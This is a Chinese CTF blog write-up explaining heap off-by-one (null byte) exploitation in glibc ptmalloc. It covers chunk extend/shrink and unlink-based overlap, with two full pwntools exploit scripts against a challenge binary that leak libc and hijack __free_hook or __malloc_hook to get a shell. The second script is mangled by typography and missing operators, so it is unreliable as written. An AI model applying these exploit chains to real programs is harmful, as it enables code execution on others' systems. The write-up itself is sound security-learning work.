OFF_BY_ONE
做了挺多 off by one
有点感悟总结一下.
在此感谢楠姐@Keenan
的关于shrink+unlink
的思路
以及xman时张燕秒老师关于off_by_one
的启蒙
溢出漏洞,但是又非常有限制只有溢出一个字节,而在一般off by one情况下溢出的往往是null_byte:\x00
.
本文仅讨论heap 上出现的off by one
导致漏洞的情况非常多,我在这里列出在ctf比赛中最常见的几种情况:
char *buf=malloc(0x88);
unsigned int n=read(0,buf,0x88)
buf[n]=0;
char *buf=malloc(size);
read(0,buf,size)
buf[size]=0
unsigned int n=strlen(chunk_ptr);
read(0,chunk_ptr,n);
比较安全的话输入可以使用fgets
虽然我做题目的时候非常讨厌看到它.
主要漏洞的成因是我们可以溢出一个字节,但是那个字节在ptmalloc
中又非常的重要,涉及到了 chunksize
,inuse
.所以我们主要从chunksize
和inuse
来设计我们的攻击方式
对chunksize
的修改可以分为两种 extend
和shrink
//图片是在xmanppt里面偷来的.
要求比较高但是利用起来简单.
要求对溢出的那一个字节不为null byte这样就可以拓展chunk
常见的利用方式有两个free + modify
和modify + free
改变现有chunk B的size free之后再malloc回来就可以控制其之后的chunk
shrink
要求不是很高只要 有null byte off
就可以实现攻击 主要对inuse
方面的操作 涉及到了unlink
通用的攻击流程如上图通过控制pre_size
和pre_inuse
来欺骗程序完成unlink
造成overlap
其实理解了也不是非常难感觉很奇妙的利用方法,非常好用,膜一波想出来的神仙.
shrink
其实还有一种简单的做法在某些场景非常的好用.
条件:已知chunk_list
地址或者已知heap
地址
设置好前一个chunk
内容为
p64(0x0)+p64(size-0x10)+p64(&ptr-0x18)+p64(&ptr-0x10)+...+p64(0xsize-0x10)
这样可以直接通过set pre_size
来做unlink
使得*ptr=&ptr-0x18
在某些可以edit
的题目中非常好用没有edit
的话比较难实现利用.
shrink
add(0x400)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0x18,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)
题目保护
[*] '/home/n132/Desktop/Dream_heap/dream_heaps'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
由于extend
的攻击比较简单就不放例子了用以下的binary来作为off_by_one
的例子
binary
题目漏洞挺多
PIE
list也存在bss上;像是上文所说两种方法都可以
off+unlink
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c):
cmd(1)
p.sendlineafter("eam?\n",str(size))
p.sendafter("eam?\n",c)
def free(idx):
cmd(4)
p.sendlineafter("te?\n",str(idx))
def edit(idx,c):
cmd(3)
p.sendlineafter("ge?\n",str(idx))
p.send(c)
def show(idx):
cmd(2)
p.sendlineafter("ad?\n",str(idx))
p=process('./dream_heaps')
add(0x88,"A")#0
add(0x88,"B")#1
free(0)
add(0x88,"A")#2
show(2)
base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd1b41-0x00007ffff7a0d000)
log.warning(hex(base))
libc=ELF("./dream_heaps").libc
libc.address=base
add(0xf8,"A")#3
add(0x88,"/bin/sh")#4
edit(1,p64(0)+p64(0x81)+p64(0x6020a8-0x18)+p64(0x6020a8-0x10)+p64(0)*12+p64(0x80))
free(3)
edit(1,p64(0)*2+p64(libc.symbols['__free_hook']))
edit(0,p64(libc.symbols['system']))
gdb.attach(p)
p.interactive()
shrink
```python from pwn import * def cmd(c): p.sendlineafter(“> “,str(c)) def add(size,c): cmd(1) p.sendlineafter(“eam?\n”,str(size)) p.sendafter(“eam?\n”,c) def free(idx): cmd(4) p.sendlineafter(“te?\n”,str(idx)) def edit(idx,c): cmd(3) p.sendlineafter(“ge?\n”,str(idx)) p.send(c) def show(idx): cmd(2) p.sendlineafter(“ad?\n”,str(idx)) #context.log_level=’debug’ p=process(‘./dream_heaps’) add(0x88,”A”)#0 add(0x88,”B”)#1 free(0) add(0x88,”A”)#2 show(2) base=u64(p.read(6).ljust(8,’\x00’))-(0x7ffff7dd1b41-0x00007ffff7a0d000) log.warning(hex(base)) libc=ELF(“./dream_heaps”).libc libc.address=base
add(0x3f0,”A”)#3 add(0x400,”A”)#4 add(0x288,”A”)#5 free(3) free(1) add(0x68,”A”)#6 edit(6,”A”) add(0x88,”B1”)#7 add(0x68,’B2’)#8 free(7) free(4) add(0x2d8,”A”)#9 free(8) add(0xa8,p64(0)17+p64(0x71)+p64(libc.symbols[‘__malloc_hook’]-35))#10 add(0x68,”A”)#11 one=base+0xf02a4 add(0x68,”\x00”19+p64(one))#12 gdb.attach(p) free(12) p.interactive() ```
可以看出在已知chunk_ptr
地址时且有edit
功能利用unlink
可以降低攻击复杂度加快exp完成速度.
这里再次感谢楠姐@keenan